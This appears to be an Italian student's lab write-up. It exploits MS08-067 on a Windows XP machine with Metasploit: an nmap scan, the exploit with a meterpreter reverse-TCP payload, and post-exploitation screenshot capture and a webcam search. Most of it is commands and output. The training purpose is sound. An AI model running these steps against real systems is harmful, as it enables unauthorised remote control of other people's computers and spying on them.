

[CONSEGNA SETTIMANA 7 LEZIONE 3]

Hacking Windows XP

Tra gli exploit presenti possiamo ricorrere anche ad alcuni diretti ai sistemi operativi windows. Un esempio è l'exploit *MS08-067*, che prende come target i sistemi come *windows XP, 2000 e 2003 server* e ne sfrutta una vulnerabilità presente nell'*RPC* senza autenticazione e permette all'attaccante di impartire comandi arbitrariamente da remoto.

Come sempre iniziamo con l'eseguire una scansione della macchina target tramite il tool nmap con il comando **nmap -sV -T4 192.168.5.59**.

```
(kali@kali)-[~]
$ nmap -sV -Pn 192.168.5.59
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-24 04:26 EST
Nmap scan report for 192.168.5.59
Host is up (0.00075s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Microsoft Windows XP microsoft-ds
2869/tcp   closed iclslap
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.09 seconds
```

Procediamo quindi con la ricerca dell'exploit tramite metasploit con il comando **search MS08-067** e impostiamo i parametri richiesti tramite il comando **set rhosts 192.168.5.59**.

```
(kali@kali)-[~]
$ sudo su
[sudo] password for kali:
(root@kali)-[/home/kali]
# msfconsole
Metasploit tip: Network adapter names can be used for IP options set LHOST
eth0

# cowsay++
      \   ^__^
      (oo)\_______
      (__)\       )\/\
       ||----w |
       ||     ||

< metasploit >

[+] metasploit v6.3.4-dev
+ -- --[ 2376 exploits - 1232 auxiliary - 416 post ]
+ -- --[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

sear[msf6] > search MS08-067

Matching Modules
=====
#  Name
0  exploit/windows/smb/ms08_067_netapi

Disclosure Date  Rank  Check  Description
2008-10-28      great  Yes    MS08-067 Microsoft Server Service Relative P
ath Stack Corruption

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi
```

```

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.5.80     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     445              yes       The SMB service port (TCP)
  SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.5.80     yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic Targeting

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.5.59
rhosts => 192.168.5.59
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.5.80:4444
[*] 192.168.5.59:445 - Automatically detecting the target...
[*] 192.168.5.59:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.5.59:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.5.59:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.5.59
[*] Meterpreter session 1 opened (192.168.5.80:4444 -> 192.168.5.59:1035) at 2024-01-24 04:27:40 -0500

meterpreter > ls

```

A questo punto, tramite meterpreter potremmo impartire comandi direttamente alla macchina target, nel nostro caso recupereremo uno screenshot del desktop tramite il comando **screengrab** e faremo una scansione per cercare eventuali webcam collegate tramite il comando **webcam-list**.

```

meterpreter > screengrab
[-] The "screengrab" command requires the "espia" extension to be loaded (run: `load espia`)
meterpreter > load espia
Loading extension espia... Success.
meterpreter > screengrab
Screenshot saved to: /home/kali/MIPxHlUp.jpeg

```



```

meterpreter > webcam_list
[-] No webcams were found

```

ALCUNE NOZIONI IMPORTANTI

Cosa si intende per RPC?

Per RPC ci riferiamo ad una procedura che consente l'avvio e la conseguente esecuzione di un programma o di una subroutine da remoto.

Cosa si intende per meterpreter?

Con meterpreter ci riferiamo ad un payload di metasploit che consente l'accesso ad una shell interattiva durante un attacco.